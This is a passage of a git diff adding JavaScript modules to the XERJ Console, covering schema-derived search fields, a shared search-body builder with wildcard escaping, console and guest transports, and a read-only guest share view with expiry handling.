'semantic_text').map(([f]) => f);+ const keywordFields = entries+ .filter(([, t]) => t === 'keyword')+ .map(([f]) => f)+ .filter((f) => !FACET_SKIP.test(f));+ const dateFields = entries.filter(([, t]) => t === 'date' || t === 'date_nanos').map(([f]) => f);++ const textField = pick(TEXT_PREF, textFields) || textFields[0] || 'body';+ // Prefer a real semantic_text field; else the best text field (the engine+ // resolves body -> body_vector at query time); else the text field itself.+ const semanticField = semanticFields[0] || pick(SEM_PREF, textFields) || textField;+ const dateField = names.includes('@timestamp') ? '@timestamp'+ : (dateFields[0] || (names.includes('email_date') ? 'email_date' : null));+ const isEmail = names.includes('email_from') || names.includes('email_subject');++ // Every text-typed field, preferred names first; then the title-like extras.+ const orderedText = [+ ...TEXT_PREF.filter((f) => textFields.includes(f)),+ ...textFields.filter((f) => !TEXT_PREF.includes(f)),+ ];+ const searchText = orderedText.length ? orderedText.slice(0, MAX_TEXT_SEARCH_FIELDS) : [textField];+ const types = Object.fromEntries(entries);+ const searchable = (f) => TEXT_TYPES.has(types[f]) || KEYWORD_TYPES.has(types[f]);+ const searchFields = [...searchText, ...EXTRA_SEARCH.filter((f) => !searchText.includes(f) && searchable(f))];+ // The search fields whose value is ONE term (autoindex types a subject,+ // title or file name `keyword` on most mailboxes — low cardinality once every+ // attachment page copies its parent's subject). search-body.js gives these a+ // contains-the-word clause instead of `match`, which needs the whole string.+ const keywordSearchFields = searchFields.filter((f) => KEYWORD_TYPES.has(types[f]));++ return {+ textField, semanticField, keywordFields, dateField, isEmail,+ searchFields, keywordSearchFields,+ searchFieldsCapped: orderedText.length > MAX_TEXT_SEARCH_FIELDS,+ hasAttachments: names.includes('attachment_name'),+ types, allFields: names,+ };+}++/**+ * `roles` with `field` added to its search fields — a corpus card's sample+ * query names the field it was written for, and running its text anywhere else+ * is not running that query. A field the mapping does not have, or one whose+ * type has no clause here, changes nothing.+ */+export function withSearchField(roles, field) {+ if (!roles || typeof field !== 'string' || !field) return roles;+ const list = Array.isArray(roles.searchFields) ? roles.searchFields : [];+ if (list.includes(field)) return roles;+ const t = roles.types && roles.types[field];+ if (!TEXT_TYPES.has(t) && !KEYWORD_TYPES.has(t)) return roles;+ return {+ ...roles,+ searchFields: [...list, field],+ keywordSearchFields: KEYWORD_TYPES.has(t) ? [...(roles.keywordSearchFields || []), field] : (roles.keywordSearchFields || []),+ };+}diff --git a/xerj-ux/src/data/schema.js b/xerj-ux/src/data/schema.jsnew file mode 100644index 000000000..6382c64f7--- /dev/null+++ b/xerj-ux/src/data/schema.js@@ -0,0 +1,70 @@+// ============================================================+// XERJ Console — schema-derived search config+//+// The console must query the fields that ACTUALLY exist on the engine, not a+// fixed set of demo fields. The engine's own field list tells us the type of+// every field; from that we derive the roles the search UI needs:+//+// • textField — what `match` / `phrase` / `prefix` run against+// • semanticField — the `semantic_text` field `semantic` embeds into+// • keywordFields — candidates for the facet sidebar (terms aggs)+// • dateField — the time field, if any+// • isEmail — carries the EML extractor's fields+//+// An engine holding an autoindexed inbox (`body` = semantic_text, `email_*` =+// keyword) gets emails searched on `body` with zero manual field config; a+// log engine (`message`, `level`, `service`) gets those instead. No aliases,+// no hardcoding.+//+// Source: the session-authenticated console API (data/console-index-api.js),+// NOT `GET /_mapping` — a console session is not an engine credential, so on+// an auth-enabled engine the data plane answers 401 and the picker would be+// empty. Cached briefly. Fail-SOFT: an unreadable field list yields+// conservative defaults so a search still runs (and reports its own error).+// ============================================================++import { deriveRoles } from './schema-roles.js';+import { listUserIndices, fieldTypes, INTERNAL_INDICES } from './console-index-api.js';+export { deriveRoles };++const TTL_MS = 30_000;+let _names = null; // { at, names }+const _fields = new Map(); // index -> { at, types }++/** Drop the caches (tests; and after the operator indexes something new). */+export function resetSchemaCache() { _names = null; _fields.clear(); }++/** Real user index names on the engine (no system indices, no autoindex+ * plumbing). THROWS when the list cannot be read — "could not ask" and+ * "the engine holds nothing" are different answers and must read+ * differently on the page. */+export async function indexNamesStrict(signal) {+ if (_names && Date.now() - _names.at < TTL_MS) return _names.names;+ const names = (await listUserIndices(signal)).map((it) => it.name).filter((n) => !INTERNAL_INDICES.has(n));+ _names = { at: Date.now(), names };+ return names;+}++/** Same, for callers that only decorate the UI (the nav probe): `[]` when the+ * list cannot be read. A failure is not cached — the next render asks again. */+export async function indexNames(_baseUrl, signal) {+ try { return await indexNamesStrict(signal); } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ return [];+ }+}++/** Field roles for one concrete index. */+export async function schemaForSearch(_baseUrl, index, signal) {+ if (!index || index === '*' || index === '_all') return deriveRoles({});+ const hit = _fields.get(index);+ if (hit && Date.now() - hit.at < TTL_MS) return deriveRoles(hit.types);+ let types = {};+ try {+ types = await fieldTypes(index, signal);+ _fields.set(index, { at: Date.now(), types });+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ }+ return deriveRoles(types);+}diff --git a/xerj-ux/src/data/search-body.js b/xerj-ux/src/data/search-body.jsnew file mode 100644index 000000000..f119d2c95--- /dev/null+++ b/xerj-ux/src/data/search-body.js@@ -0,0 +1,232 @@+// ============================================================+// XERJ Console — the ONE search-body builder+//+// Discover previews a request and the xerj backend executes one. PR #923+// review finding 8: they were built by two different functions and drifted+// (the preview emitted a `hybrid` shape the engine does not accept). This+// module is the single source of truth — the preview panel and+// `backends/xerj.js` both call `buildSearchBody`, so what you see is byte-+// for-byte what runs.+//+// Pure: no DOM, no fetch. Field roles come from `schema.js#deriveRoles`+// (the real mapping) so nothing here is hardcoded to `message`/`embedding`.+// ============================================================++/** Query types the console exposes. `knn` is deliberately absent: a raw kNN+ * needs a query vector the console cannot produce, and a preview that runs+ * `match_all` while claiming `knn` is exactly the mismatch #923 was faulted+ * for. `semantic` is the vector path — the engine embeds the query. */+export const QUERY_TYPES = ['match', 'term', 'range', 'prefix', 'phrase', 'semantic', 'hybrid'];++/** How many facet fields to aggregate on (keyword fields from the mapping). */+export const FACET_FIELDS = 3;++/**+ * The fields a MATCH / PHRASE / PREFIX runs over: `roles.searchFields`+ * (schema-roles.js — every text-typed field plus the subject / title /+ * attachment-name fields the mapping has), or just the text field.+ */+export function searchFieldsOf(roles) {+ const textField = roles?.textField || 'body';+ const list = Array.isArray(roles?.searchFields) ? roles.searchFields.filter((f) => typeof f === 'string' && f) : [];+ return list.length ? list : [textField];+}++/**+ * One clause per search field, OR-ed. A single field keeps the plain clause.+ *+ * Why `bool.should` and not `multi_match`: measured on a live node+ * (2026-09-18, the console-reader corpus), `multi_match` with the default+ * `best_fields` type returns the right hits but NO highlight fragments, while+ * `bool.should` of per-field clauses returns the same hits with a fragment+ * per matching field — and the Reader's result cards are built from those+ * fragments.+ */+function overFields(fields, make) {+ if (fields.length === 1) return make(fields[0]);+ return { bool: { should: fields.map(make), minimum_should_match: 1 } };+}++/** The words of a query, the way a text analyzer would cut them: runs of+ * letters / digits. Used for the keyword-field clause below. */+export function queryWords(text) {+ return String(text || '').split(/[^\p{L}\p{N}]+/u).filter(Boolean);+}++/** `text` as the inside of a wildcard pattern: `*`, `?` and `\` each become+ * `?` (any ONE character — which the character itself always satisfies), so+ * nothing a person types can widen the pattern. */+const wildcardLiteral = (text) => String(text).replace(/[*?\\]/g, '?');+const contains = (f, pattern) => ({ wildcard: { [f]: { value: pattern, case_insensitive: true } } });++/**+ * MATCH / PHRASE / PREFIX on a KEYWORD-typed search field.+ *+ * A keyword value is one term, so `match` on it needs the WHOLE string:+ * measured on a live node (2026-09-19, PR #945 review repro corpus, where+ * autoindex typed `email_subject`, `title` and `attachment_name` as keyword)+ * `{"match":{"email_subject":"Lunch"}}` → 0 hits while the subject "Lunch on+ * Friday?" exists, and `match_phrase` "Lunch on" → 0. A case-insensitive+ * `wildcard` finds it: `*lunch*` → 1, `*lunch on*` → 1, `lunch*` → 1, and the+ * engine returns a highlight fragment for it. (`prefix` with+ * `case_insensitive` returned 0 on the same node, hence wildcard there too.)+ *+ * match one `*word*` per word, OR-ed like `match`'s default operator;+ * a record matching more words scores higher+ * phrase `*the words as typed*`+ * prefix `as typed*`+ *+ * This is a substring test, not token matching: `on` also finds "Duplication".+ */+function keywordClause(kind, f, text) {+ if (kind === 'prefix') return contains(f, `${wildcardLiteral(text)}*`);+ if (kind === 'phrase') return contains(f, `*${wildcardLiteral(text)}*`);+ const words = queryWords(text);+ if (words.length <= 1) return contains(f, `*${words.length ? words[0] : wildcardLiteral(text)}*`);+ return { bool: { should: words.map((w) => contains(f, `*${w}*`)), minimum_should_match: 1 } };+}++const TEXT_CLAUSE = { match: 'match', phrase: 'match_phrase', prefix: 'prefix' };++/** The clause for one (kind, field): text fields get the analyzed query,+ * keyword fields the contains-the-word clause. */+function fieldClause(kind, f, text, roles) {+ const isKeyword = Array.isArray(roles?.keywordSearchFields) && roles.keywordSearchFields.includes(f);+ const clause = isKeyword ? keywordClause(kind, f, text) : { [TEXT_CLAUSE[kind]]: { [f]: text } };+ // Every attachment record carries a COPY of its parent's subject+ // (extract/eml.rs#attach_link), so a subject word would otherwise return the+ // email plus one hit per page of every PDF attached to it — 303 equal-scored+ // hits for one email with a 300-page attachment on the review corpus, the+ // email itself anywhere among them. The subject clause therefore matches the+ // message's own records; an attachment is found by its name and its text.+ if (f === 'email_subject' && roles?.hasAttachments) {+ return { bool: { must: [clause], must_not: [{ exists: { field: 'attachment_name' } }] } };+ }+ return clause;+}++/**+ * Why a (q, type) pair cannot run, or null. TERM and RANGE need+ * `field=value` / `field>=value`; free text used to fall through to+ * `match_all` and present every record as a "result" (PR #945 review).+ * `buildQueryClause` still answers `match_all` for it — a caller that shows+ * results (the Reader) asks this first and shows the message instead.+ */+export function queryProblem(q, type) {+ const text = (q || '').trim();+ if (!text) return null;+ if (type === 'term' && !/^([\w.]+)\s*=\s*(.+)$/.test(text)) return 'TERM needs field=value — for example ax_format=eml. Nothing was searched.';+ if (type === 'range' && !/^([\w.]+)\s*(>=|<=|>|<)\s*(.+)$/.test(text)) return 'RANGE needs field>=value (or >, <=, <) — for example page>=2. Nothing was searched.';+ return null;+}++/** Search-box placeholder for a query type (the syntax, where there is one). */+export function queryPlaceholder(type) {+ if (type === 'term') return 'field=value · for example ax_format=eml · press Enter';+ if (type === 'range') return 'field>=value · for example page>=2 · press Enter';+ return 'search this corpus · press Enter · empty lists records';+}++/** Inner query clause for a (q, type) pair over the given field roles. */+export function buildQueryClause(q, type, roles) {+ const textField = roles?.textField || 'body';+ const semanticField = roles?.semanticField || textField;+ const fields = searchFieldsOf(roles);+ const text = (q || '').trim();+ const over = (kind) => overFields(fields, (f) => fieldClause(kind, f, text, roles));+ switch (type) {+ case 'term': {+ const m = text.match(/^([\w.]+)\s*=\s*(.+)$/);+ return m ? { term: { [m[1]]: m[2].trim() } } : { match_all: {} };+ }+ case 'range': {+ const m = text.match(/^([\w.]+)\s*(>=|<=|>|<)\s*(.+)$/);+ if (!m) return { match_all: {} };+ const [, f, op, raw] = m;+ const k = op === '>=' ? 'gte' : op === '<=' ? 'lte' : op === '>' ? 'gt' : 'lt';+ const v = raw.trim();+ const n = Number(v);+ return { range: { [f]: { [k]: Number.isFinite(n) && v !== '' ? n : v } } };+ }+ case 'prefix': return text ? over('prefix') : { match_all: {} };+ case 'phrase': return text ? over('phrase') : { match_all: {} };+ case 'semantic': return text ? { semantic: { field: semanticField, query: text, k: 10 } } : { match_all: {} };+ case 'hybrid': return text ? {+ hybrid: {+ queries: [+ { query: over('match'), weight: 1.0 },+ { query: { semantic: { field: semanticField, query: text, k: 10 } }, weight: 0.8 },+ ],+ fusion: { type: 'rrf', k: 60 },+ },+ } : { match_all: {} };+ default: return text ? over('match') : { match_all: {} };+ }+}++/**+ * The full request body: query (+ filters), size, facet aggs on the derived+ * keyword fields, a date_histogram on the derived date field, and a sort when+ * the user picked a real field.+ *+ * q, type — SearchBox state+ * filters — { field: value } click-to-filter terms+ * roles — schema.js#deriveRoles output+ * opts.size — hits to return (default 25)+ * opts.from — offset of the first hit (omitted when 0)+ * opts.aggs — false to omit the facet / histogram aggregations+ * opts.sort — { field, dir }; `_score` / `_ts` / `_index` / `_id` are+ * display sorts the engine cannot order by, so they are+ * omitted (score order is the default).+ */+export function buildSearchBody(q, type, filters, roles, opts = {}) {+ const inner = buildQueryClause(q, type, roles);+ const filterList = Object.entries(filters || {})+ .filter(([, v]) => v != null && v !== '')+ .map(([f, v]) => (Array.isArray(v)+ ? { terms: { [f]: v } }+ : { term: { [f]: v } }));+ // Filters ride INSIDE each leg of a hybrid query. Measured on a live node:+ // `bool{must: hybrid, filter}` is accepted and returns 0 hits, and a+ // top-level `post_filter` beside `hybrid` is accepted and ignored — both+ // wrong without an error — while a filter in each leg filters (17 of 24+ // hits for ax_format=eml in the recorded corpus).+ let query;+ if (!filterList.length) query = inner;+ else if (isHybrid(inner)) {+ query = { hybrid: { ...inner.hybrid, queries: inner.hybrid.queries.map((leg) => ({ ...leg, query: { bool: { must: leg.query, filter: filterList } } })) } };+ } else query = { bool: { must: inner, filter: filterList } };++ const body = { query, size: opts.size ?? 25, track_total_hits: true };+ if (Number(opts.from) > 0) body.from = Number(opts.from);+ // The reader asks for hits only (`opts.aggs === false`); Discover also+ // wants its facet sidebar and histogram — except under HYBRID: the engine+ // refuses aggregations beside a fusion query ("aggregations are not+ // supported with hybrid/fusion queries", HTTP 400, seen on a live node), so+ // sending them would turn every hybrid search into an error.+ if (opts.aggs !== false && !isHybrid(inner)) {+ const aggs = { by__index: { terms: { field: '_index', size: 8 } } };+ for (const f of (roles?.keywordFields || []).slice(0, FACET_FIELDS)) {+ aggs[`by_${f}`] = { terms: { field: f, size: 8 } };+ }+ if (roles?.dateField) {+ aggs.by_date = { date_histogram: { field: roles.dateField, calendar_interval: 'day' } };+ }+ body.aggs = aggs;+ }+ const sort = opts.sort;+ if (sort && sort.field && !sort.field.startsWith('_')) {+ body.sort = [{ [sort.field]: sort.dir === 'asc' ? 'asc' : 'desc' }];+ }+ return body;+}++/** Is this clause a fusion query (no aggregations may ride along)? */+export function isHybrid(clause) {+ return !!(clause && typeof clause === 'object' && clause.hybrid);+}++/** The request line shown above the preview — the path the backend hits. */+export function requestPath(index) {+ return `/${index || '*'}/_search`;+}diff --git a/xerj-ux/src/data/second-brain-api.js b/xerj-ux/src/data/second-brain-api.jsindex 939864878..819af641e 100644--- a/xerj-ux/src/data/second-brain-api.js+++ b/xerj-ux/src/data/second-brain-api.js@@ -603,8 +603,10 @@ export async function liveSecondBrain(baseUrl, _ctx, signal) {S.brains = []; S.brain = null; S.overview = null; S.ego = null; S.timeline = null;const data = assemble();// Surface transport failure on the nav status pill too (query.js- // flags `data.error` as live-error — visibly NOT "live · ok").- data.error = `graph API unreachable: ${S.error}`;+ // flags `data.error` as live-error — visibly NOT "live · ok"). A 401/403+ // is a refusal (an auth-enabled engine, a console session — #936), not an+ // outage; the pill says which.+ data.error = /HTTP 40[13]\b/.test(S.error) ? `graph API refused this console session: ${S.error}` : `graph API unreachable: ${S.error}`;return data;}diff --git a/xerj-ux/src/data/transport-console.js b/xerj-ux/src/data/transport-console.jsnew file mode 100644index 000000000..d65a97ef7--- /dev/null+++ b/xerj-ux/src/data/transport-console.js@@ -0,0 +1,118 @@+// ============================================================+// XERJ Console — reader transport for the signed-in operator+//+// A console session is NOT an engine credential. Everything the reader can+// get through the session-authenticated console API, it gets there, so it+// works the same on an auth-enabled engine (the default) as on `--insecure`:+//+// search the panel proxy (one exact index; the proxy refuses patterns,+// system indices and the reserved brain namespace — see+// xerj-console-api/src/data_sources.rs).+// mapping the console's field list for the index, reshaped to the+// `_mapping` wire form data/reader-api.js reads.+//+// The graph has no such path, on purpose (the proxy cannot read a brain —+// RC10 B1), so these two are direct same-origin calls:+//+// ego `GET /_graph/{brain}/ego`+// discoverBrains `_cat/indices` + each brain's meta document+//+// On an auth-enabled engine they answer 401. The reader then says exactly+// that — "the graph API refused this console session" — instead of claiming+// the record has no links. Records, search and attachments still work.+// ============================================================++import { parseBrainIndices } from './brains-probe.js';+import { fieldTypes } from './console-index-api.js';++const PROXY = '/_xerj-console/api/v1/data-sources/connections/built-in/indices';+const BRAIN_META_ID = '__xerj-brain-meta';+/** Brains scanned for a meta document, and how many matching brains a record's+ * graph panel walks. Two `xerj brain` runs over different folders land in+ * the same `ax-docs` index with two brains that both list it. */+const BRAINS_SCANNED = 32;+export const BRAINS_WALKED = 4;+const enc = encodeURIComponent;++function httpError(status) {+ const e = new Error(`HTTP ${status}`);+ e.status = status;+ e.kind = status === 401 ? 'unauthorized' : status === 403 ? 'forbidden' : status === 404 ? 'not-found' : 'http';+ return e;+}++/**+ * `fetch`, with a network failure given a KIND. A browser reports "the engine+ * is not there" as a bare `TypeError: Failed to fetch`; reader-api.js only+ * translates errors that carry `.kind`, so the operator read the raw browser+ * string where a guest read "engine unreachable" (PR #945 review).+ */+async function request(url, init) {+ try {+ return await fetch(url, init);+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ const err = new Error('engine unreachable');+ err.kind = 'network';+ throw err;+ }+}++export function makeConsoleTransport() {+ return {+ guest: false,+ async search(index, body, signal) {+ const r = await request(`${PROXY}/${enc(index)}/search`, {+ method: 'POST',+ credentials: 'same-origin',+ headers: { 'content-type': 'application/json', accept: 'application/json' },+ body: JSON.stringify(body),+ signal,+ });+ if (!r.ok) throw httpError(r.status);+ return r.json(); // the proxy answers in ES `_search` wire shape, unwrapped+ },+ async mapping(index, signal) {+ const types = await fieldTypes(index, signal);+ const properties = {};+ for (const [name, type] of Object.entries(types)) properties[name] = { type };+ return { [index]: { mappings: { properties } } };+ },+ async ego(brain, params, signal) {+ const qs = new URLSearchParams(params);+ const r = await request(`/_graph/${enc(brain)}/ego?${qs}`, { signal, credentials: 'same-origin', headers: { accept: 'application/json' } });+ let body = null;+ try { body = await r.json(); } catch { body = null; }+ return { status: r.status, body };+ },+ /**+ * EVERY brain whose meta doc lists `index` in `nodes_index` (what+ * `xerj brain` writes), in `_cat` order, at most BRAINS_WALKED of them.+ * `[]` when none does or nothing can be read. Best-effort; never throws.+ *+ * A list, not the first match: after `xerj brain casefile` and+ * `xerj brain vendors` on one node both brains list `ax-docs`, and each+ * holds links only for its own files. Returning the first brain made the+ * reader say "records no links for this record" for half the corpus,+ * with which half depending on `_cat` order (PR #945 review).+ */+ async discoverBrains(index, signal) {+ const out = [];+ try {+ const r = await fetch('/_cat/indices/.xerj-memory-*', { signal, credentials: 'same-origin', headers: { accept: 'text/plain, application/json' } });+ if (!r.ok) return out;+ for (const b of parseBrainIndices(await r.text()).slice(0, BRAINS_SCANNED)) {+ const m = await fetch(`/${enc(`.xerj-memory-${b}-edges`)}/_doc/${enc(BRAIN_META_ID)}`, { signal, credentials: 'same-origin', headers: { accept: 'application/json' } });+ if (!m.ok) continue;+ const doc = await m.json();+ const ni = String((doc && doc._source && doc._source.nodes_index) || '');+ if (ni.split(',').map((x) => x.trim()).includes(index)) out.push(b);+ if (out.length >= BRAINS_WALKED) break;+ }+ } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ }+ return out;+ },+ };+}diff --git a/xerj-ux/src/data/transport-guest.js b/xerj-ux/src/data/transport-guest.jsnew file mode 100644index 000000000..31a911611--- /dev/null+++ b/xerj-ux/src/data/transport-guest.js@@ -0,0 +1,31 @@+// ============================================================+// XERJ Console — reader transport for a shared-link guest+//+// Every call goes through data/guest.js#guestRequest, which builds the URL+// from the share's own validated index / brain names and attaches the key.+// There is deliberately no way to pass a path, another index or another+// brain through this object: `index` arguments that are not part of the+// share are refused before any request is made ('blocked').+// ============================================================++import { guestRequest, GuestError } from './guest.js';++export function makeGuestTransport(share, env) {+ return {+ guest: true,+ brain: share.brain,+ indices: share.indices,+ search: (index, body, signal) => guestRequest(share, 'search', { indices: [index], body, signal }, env),+ mapping: (index, signal) => guestRequest(share, 'mapping', { indices: [index], signal }, env),+ async ego(brain, params, signal) {+ if (brain !== share.brain) throw new GuestError('blocked', 0);+ try {+ return { status: 200, body: await guestRequest(share, 'ego', { query: params, signal }, env) };+ } catch (e) {+ // 403/404 are answers about THIS panel, not the end of the session.+ if (e instanceof GuestError && (e.kind === 'forbidden' || e.kind === 'not-found')) return { status: e.status, body: null };+ throw e;+ }+ },+ };+}diff --git a/xerj-ux/src/guest-app.js b/xerj-ux/src/guest-app.jsnew file mode 100644index 000000000..afa529346--- /dev/null+++ b/xerj-ux/src/guest-app.js@@ -0,0 +1,212 @@+// ============================================================+// XERJ Console — guest shell+//+// What a person sees after opening a share link and typing the passcode: a+// read-only view of exactly the shared indices — what is in them (CORPUS) and+// a reader for any record with the records linked to it (READER) — under a+// banner that says so and says when it ends.+//+// This is a SEPARATE entry point from the operator console (app.js), on+// purpose. It imports only what a viewer needs:+//+// data/guest.js · data/transport-guest.js · data/reader-api.js ·+// data/search-body.js · data/schema-roles.js · data/catalog.js ·+// ux/safe-dom.js · ux/reader-render.js · ux/corpus-render.js ·+// ux/reader-view.js+//+// — no dashboard registry, no dashboard store, no prefs sync, no data-source+// manager, no mock data, and nothing that knows the console API exists.+// test/guest-graph.test.mjs walks this import graph and fails if that ever+// stops being true. At runtime `installGuestGuard` refuses any request that+// is not one of the share's four operations before it leaves the page.+//+// No markup strings: all DOM is built by ux/safe-dom.js.+// ============================================================++import {+ readShare, clearShare, isExpired, guestBanner, installGuestGuard, watchExpiry, SHARE_KEY,+ markEnded, readEnded, clearEnded,+} from './data/guest.js';+import { makeGuestTransport } from './data/transport-guest.js';+import { makeReaderApi, FATAL_KINDS } from './data/reader-api.js';+import { h, mount } from './ux/safe-dom.js';+import { renderCorpus } from './ux/corpus-render.js';+import { ReaderView, parseReaderRoute } from './ux/reader-view.js';++const ENDED_TEXT = {+ expired: ['THIS SHARE HAS EXPIRED', 'Ask the person who sent it for a new link.'],+ unauthorized: ['THIS SHARE IS NO LONGER VALID', 'It was revoked or has expired. Ask the person who sent it for a new link.'],+ invalid: ['THIS SHARE LINK IS NOT VALID', 'It has expired or was not opened from a share page. Open the link you were sent again.'],+ left: ['YOU LEFT THE SHARED VIEW', 'The access key was removed from this browser tab. Open the share link again to come back.'],+};++/** The screen after a guest session ends. Deliberately says nothing about+ * the engine, the index, or why a request was refused. */+export function endedScreen(reason) {+ const [title, body] = ENDED_TEXT[reason] || ENDED_TEXT.invalid;+ return h('div', { class: 'guest-ended', role: 'status', 'data-guest-ended': reason in ENDED_TEXT ? reason : 'invalid' },+ h('div', { class: 'key' }, 'XERJ · SHARED VIEW'),+ h('h1', { class: 'h-scene' }, title),+ h('p', null, body),+ // This tab keeps showing this screen on reload (data/guest.js#markEnded).+ // The way out for the engine's own operator: forget that, go to sign-in.+ h('p', { class: 'faint' }, h('button', { class: 'text-btn', type: 'button', 'data-guest-operator': '1' }, 'OPERATOR SIGN-IN')));+}++/** Wire the ended screen's one button: forget the marker, open the login. */+function wireEnded(app, win) {+ const btn = app.querySelector('[data-guest-operator]');+ if (btn) btn.addEventListener('click', () => { clearEnded(win.sessionStorage); win.location.href = '/_xerj-console/login'; });+}++/** Did every shared index answer? Only then is the corpus view's data kept. */+export function corpusComplete(summaries) {+ return Array.isArray(summaries) && summaries.length > 0 && summaries.every((x) => x && !x.error);+}++export function bootGuest(win = window) {+ const doc = win.document;+ const app = doc.getElementById('app');+ const share0 = readShare(win.sessionStorage);+ if (!share0) {+ // No usable record: either one that fails validation (cleared here), or a+ // reload after a share ended in this tab — say again how it ended.+ const hadRecord = (() => { try { return win.sessionStorage.getItem(SHARE_KEY) != null; } catch { return false; } })();+ const reason = hadRecord ? 'invalid' : (readEnded(win.sessionStorage) || 'invalid');+ clearShare(win.sessionStorage);+ markEnded(win.sessionStorage, reason);+ mount(app, endedScreen(reason));+ wireEnded(app, win);+ app.setAttribute('aria-busy', 'false');+ return null;+ }+ clearEnded(win.sessionStorage); // a live share: whatever ended here before is history++ // The live session. `end()` nulls it, after which every transport call+ // refuses locally ('expired') — nothing keeps using a key we dropped.+ const session = { share: share0 };+ installGuestGuard(share0, win);+ const live = () => session.share;+ const transport = makeGuestTransport(share0);+ // Re-check the clock and the ended flag on every call, not just at boot.+ for (const op of ['search', 'mapping', 'ego']) {+ const inner = transport[op];+ transport[op] = (...args) => {+ if (!live() || isExpired(live())) { end('expired'); return Promise.reject(Object.assign(new Error('expired'), { kind: 'expired' })); }+ return inner(...args);+ };+ }+ const api = makeReaderApi(transport);++ let ended = false;+ let cancelExpiry = () => {};+ let bannerTimer = null;+ let corpusState = { status: 'loading' };++ const view = new ReaderView({+ api, guest: true,+ indices: () => (live() ? [...live().indices] : []),+ onFatal: (kind) => end(kind === 'expired' ? 'expired' : 'unauthorized'),+ });++ function end(reason) {+ if (ended) return;+ ended = true;+ session.share = null;+ cancelExpiry();+ if (bannerTimer) win.clearInterval(bannerTimer);+ view.detach();+ clearShare(win.sessionStorage);+ markEnded(win.sessionStorage, reason);+ win.removeEventListener('hashchange', route);+ doc.removeEventListener('visibilitychange', onVisible);+ win.removeEventListener('storage', onStorage);+ mount(app, endedScreen(reason));+ wireEnded(app, win);+ }++ // ----- chrome ------------------------------------------------------+ mount(app, [+ h('header', { class: 'guest-bar', role: 'status', 'data-guest-banner': '1' },+ h('span', { class: 'guest-bar__text mono', 'data-guest-banner-text': '1' }),+ h('button', { class: 'text-btn guest-bar__leave', 'data-guest-leave': '1' }, 'LEAVE')),+ h('nav', { class: 'guest-nav', 'aria-label': 'Shared view' },+ h('a', { class: 'guest-nav__item', href: '#/corpus', 'data-guest-nav': 'corpus' }, 'CORPUS'),+ h('a', { class: 'guest-nav__item', href: '#/reader', 'data-guest-nav': 'reader' }, 'READER')),+ h('div', { class: 'guest-main', 'data-guest-main': '1' }),+ h('footer', { class: 'guest-foot mono faint' },+ 'Read-only view of a shared XERJ index. Nothing else on this engine is visible from here, and nothing you do here changes it.'),+ ]);+ app.setAttribute('aria-busy', 'false');+ doc.title = 'Shared view · XERJ';+ const main = app.querySelector('[data-guest-main]');+ const bannerText = app.querySelector('[data-guest-banner-text]');+ const paintBanner = () => { if (live()) mount(bannerText, guestBanner(live())); };+ paintBanner();+ bannerTimer = win.setInterval(paintBanner, 30_000);+ app.querySelector('[data-guest-leave]').addEventListener('click', () => end('left'));++ // ----- routes ------------------------------------------------------+ let corpusSeq = 0;+ async function showCorpus() {+ view.detach();+ mount(main, h('div', { class: 'guest-scene' },+ h('div', { class: 'key' }, 'WHAT WAS SHARED WITH YOU'),+ h('h1', { class: 'h-scene' }, 'SHARED CORPUS'),+ h('div', { 'data-guest-corpus': '1' })));+ const slot = main.querySelector('[data-guest-corpus]');+ mount(slot, renderCorpus(corpusState, { guest: true, brain: null }));+ // Only a COMPLETE answer is kept. A summary that failed (the engine was+ // restarting, the network blinked) is shown — and asked for again every+ // time this view is entered, exactly as the Reader re-asks after a failed+ // search. The first version cached whatever came back, so one failed load+ // read "engine unreachable" for the life of the tab (PR #945 review).+ if (corpusState.status === 'ok' && corpusComplete(corpusState.summaries)) return;+ const s = live();+ if (!s) return;+ const seq = ++corpusSeq;+ const summaries = await Promise.all(s.indices.map((i) => api.indexSummary(i)));+ if (ended || seq !== corpusSeq) return;+ const fatal = summaries.find((x) => FATAL_KINDS.has(x.kind));+ if (fatal) { end(fatal.kind === 'expired' ? 'expired' : 'unauthorized'); return; }+ corpusState = { status: 'ok', summaries };+ if (slot.isConnected) mount(slot, renderCorpus(corpusState, { guest: true, brain: null }));+ }++ function showReader(hash) {+ mount(main, h('div', { class: 'guest-scene' },+ h('div', { class: 'key' }, 'ONE RECORD, AND WHAT LINKS TO IT'),+ h('h1', { class: 'h-scene' }, 'READER'),+ h('div', { 'data-guest-reader': '1' })));+ view.attach(main.querySelector('[data-guest-reader]'));+ view.setRoute(parseReaderRoute(hash));+ }++ function route() {+ if (ended) return;+ if (!live() || isExpired(live())) { end('expired'); return; }+ const hash = win.location.hash || '';+ const isReader = /^#\/reader(\?|$)/.test(hash);+ for (const a of app.querySelectorAll('[data-guest-nav]')) {+ a.classList.toggle('active', a.getAttribute('data-guest-nav') === (isReader ? 'reader' : 'corpus'));+ }+ if (isReader) showReader(hash); else showCorpus();+ }++ function onVisible() {+ // Timers are throttled in background tabs; re-check the clock on return.+ if (doc.visibilityState === 'visible' && live() && isExpired(live())) end('expired');+ }+ function onStorage(e) {+ // sessionStorage is per-tab, but be exact anyway: if our record goes+ // away or changes under us, this session is over.+ if (e.storageArea === win.sessionStorage && (e.key === SHARE_KEY || e.key === null)) end('left');+ }++ cancelExpiry = watchExpiry(share0, () => end('expired'));+ win.addEventListener('hashchange', route);+ doc.addEventListener('visibilitychange', onVisible);+ win.addEventListener('storage', onStorage);+ route();+ return { end, view };+}diff --git a/xerj-ux/src/theme-boot.js b/xerj-ux/src/theme-boot.jsnew file mode 100644index 000000000..e5b3420e6--- /dev/null+++ b/xerj-ux/src/theme-boot.js@@ -0,0 +1,10 @@+// Theme bootstrap — a classic (blocking) script in <head>, so it runs before+// the stylesheets paint and there is no flash of the wrong theme. It lives in+// a file rather than inline so the console page can be served with a+// `script-src 'self'` Content-Security-Policy (xerj-console-api/src/spa.rs).+(function () {+ var t = null;+ try { t = localStorage.getItem('xerj.theme'); } catch (e) { t = null; }+ if (t !== 'day' && t !== 'night') t = 'night';+ document.documentElement.setAttribute('data-theme', t);+})();diff --git a/xerj-ux/src/ux/charts-ops.js b/xerj-ux/src/ux/charts-ops.jsindex 34711472a..eec1ff380 100644--- a/xerj-ux/src/ux/charts-ops.js+++ b/xerj-ux/src/ux/charts-ops.js@@ -14,6 +14,7 @@// ============================================================import { esc, fmt } from './text.js';+import { readerHref } from './reader-render.js';const minMax = (xs) => {let mn = Infinity, mx = -Infinity;@@ -39,7 +40,7 @@ const minMax = 